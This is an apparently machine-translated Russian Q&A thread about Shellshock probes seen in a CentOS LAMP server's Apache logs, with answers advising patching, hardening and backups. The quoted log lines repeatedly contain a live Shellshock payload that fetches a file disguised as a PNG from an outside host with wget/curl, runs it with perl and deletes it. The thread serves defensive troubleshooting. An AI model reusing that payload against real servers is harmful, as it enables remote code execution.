Стоит ли беспокоиться о попытках взлома через wget на веб-сервере на базе CentOS/LAMP?

Question

Это немного сбивает с толку, кстати, я не системный администратор и знаю лишь немного о том, как обращаться с Linux.

Я работаю на LAMP-сайте и размещаю его на Digital Ocean. Сервер CentOS 7, и я установил несколько инструментов безопасности, таких как Fail2ban. Я часто проверяю журналы ошибок и журналы запросов, только сегодня я увидел несколько тревожных запросов; примеры ниже.

У меня вопрос, пытается ли хакер внедрить файл с вирусом с именем "a2.png" в мою папку /tmp ? и хакерский успех прививает это?

Как мне узнать, работает ли сейчас вирус на моем сервере?

До сих пор я не вижу, чтобы имя файла существовало в моей папке tmp. Какое измерение безопасности или усиление сервера я должен установить? И правильная конфигурация апача? Я использовал только стандартный конфиг apache при установке LAMP.

Веб-сайт, который я обрабатываю, находится на виртуальном хосте, и я использую фреймворк, чтобы сделать его более безопасным. Я не уверен, что если я на правильном пути, защищая свой веб-сервер, я установил Fail2ban только для попытки входа в систему.

Примеры журнала ошибок

[Вт 25 августа 09: 48: 39.688528 2015] [core: error] [pid 24312] [client 64.15.155.177:33663] AH00126: неверный URI в запросе GET HTTP/1.1 HTTP/1.1

[Вт, 25 августа 09: 48: 40.877570 2015] [cgi: error] [pid 24306] [клиент 64.15.155.177:35398] сценарий не найден или не может выполнить стат: /var/www/cgi-bin/report.cgi

[Вт, 25 августа 09: 48: 41.042423 2015] [cgi: error] [pid 24331] [клиент 64.15.155.177:35687] сценарий не найден или не в состоянии stat: /var/www/cgi-bin/webmap.cgi

Примеры журнала запросов

64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET HTTP/1.1 HTTP/1.1" 400 226 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 301 234 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /main.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /info.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /index.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /admin.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
121.54.44.93 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 200 3785 "-" "Mozilla/5.0 (Linux; Android 4.4.2; en-ph; SAMSUNG SM-G7102 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/register.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/download.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"

Answer 1

Скриптовая атака wget в поиске распространенных уязвимостей. Держите серверное программное обеспечение в актуальном состоянии, и большинство из них не будет работать, если они не нулевого дня.

Вы обнаружите, что на веб-серверах стоят десятки, ваша единственная защита - никогда не позволять вашему серверу работать в незащищенном состоянии.

Читайте о исправлениях безопасности Centos и проводите больше времени, выполняя apt-get/yum/rpm (независимо от менеджера пакетов), чтобы получать последние обновления безопасности.

Answer 2

Как указывает Fiasco Labs в своем ответе, таких записей в журнале не хватает десятки. Но как системный администратор с глубоким опытом управления и защиты веб-серверов на основе LAMP, это не атака, а какой-то сценарий «проверки» вашей системы кем-то где-то. Эти исследования / сканирования системы выполняются для того, чтобы увидеть, какие серверы там, если таковые имеются, уязвимы; не только ваши серверы. В целом, это эквивалент «военного набора», который был довольно распространенным явлением в 1980–1990-х годах, когда системы взламывались через акустический модем; просканируйте список систем, посмотрите, какие системы имеют «недостатки», а затем посмотрите, что вы можете сделать с этими предполагаемыми недостатками.

Должны ли вы быть в панике по этому поводу? Не за что. Любой веб-сервер в Интернете постоянно проверяется. Я управляю несколькими веб-серверами Ubuntu Linux, и я на 100% уверен, если бы проверял свои журналы прямо сейчас, завтра, через день и т.д. Я бы увидел записи, похожие на то, что вы видите. Но я не теряю сон из-за этого. Реальность такова, что если ваша основная ОС исправлена правильно, а используемая вами среда исправлена и обновлена, вы в хорошей форме.

Использование такого инструмента, как Fail2Ban, неплохая идея, но я считаю, что это немного излишне, если вы спросите меня. Причина в том, что даже с таким инструментом, как Fail2Ban или даже ModSecurity, умный бот может все же пройти. Вот почему мой лучший совет любому системному администратору - укреплять свои серверы и иметь возможность легко восстанавливаться после компрометации системы.

Укрепи свой сервер и свою кодовую базу

Что я считаю лучшей практикой безопасности, так это ужесточение настройки сервера LAMP и обеспечение надежности нашего PHP-кода. Этот ответ на сайте Stack Exchange о безопасности является хорошей отправной точкой для понимания того, что означает «усиление безопасности», но, честно говоря, если вы не являетесь системным администратором, многое из этого может оказаться слишком сложным.

Поэтому я бы порекомендовал, что если вы действительно не решите научиться быть системным администратором Linux, вам, возможно, будет лучше использовать какого-либо провайдера виртуального хостинга где-нибудь. Таким образом, их администраторы используют свои навыки, чтобы беспокоиться об этом, и вы можете сосредоточиться на запуске / кодировании сайта.

Тем не менее, даже с настройкой общего хостинга, вы не сорваться с крючка. Даже если вы используете хорошую среду PHP-фреймворка, вам нужно быть в курсе того, как исправлять этот PHP-фреймворк при каждом выпуске обновления. А что касается вашей базовой кодовой базы, вы должны быть уверены, что не ограничиваете базовые правила безопасности при написании кода. В основном вы должны научиться очищать любые / все входные данные, которые получает ваш сайт, и как правильно настроить сайт, чтобы даже в случае сбоя он не делал это таким образом, что это было бы катастрофой.

Резервное копирование и аварийное восстановление

И, на мой взгляд, это означает, что резервные копии, резервные копии, резервные копии, а также больше резервных копий. Вы никогда не можете контролировать компрометацию сервера, но восстановление данных / системы всегда под вашим контролем. Все это означает, что вам нужен какой-то небольшой «план аварийного восстановления» для восстановления вашего сайта.

Это означает, что обязательно сделайте резервную копию своей основной кодовой базы, чтобы, если она когда-либо была скомпрометирована, вы могли легко повторно развернуть чистый код без особых усилий. Для этого я настоятельно рекомендую вам использовать инструмент управления исходным кодом, например, git для отслеживания версий, а также настроить репозиторий GitHub для удаленного хранения. Кроме того, узнайте, как использовать Capistrano с PHP для развертывания кода; У меня есть ответ, который описывает, как это сделать здесь.

То же самое с вашей базой данных MySQL; в зависимости от размера / масштаба доступны резервные копии. Мне нравится, когда резервные копии MySQL на сайтах малого и среднего размера запускаются каждые 3-4 часа. Таким образом, самое худшее, что может случиться, если сайт взломан, это то, что база данных устареет максимум за 3-4 часа; устаревшая база данных в тот же день лучше, чем разрушенная база данных без резервного копирования вообще.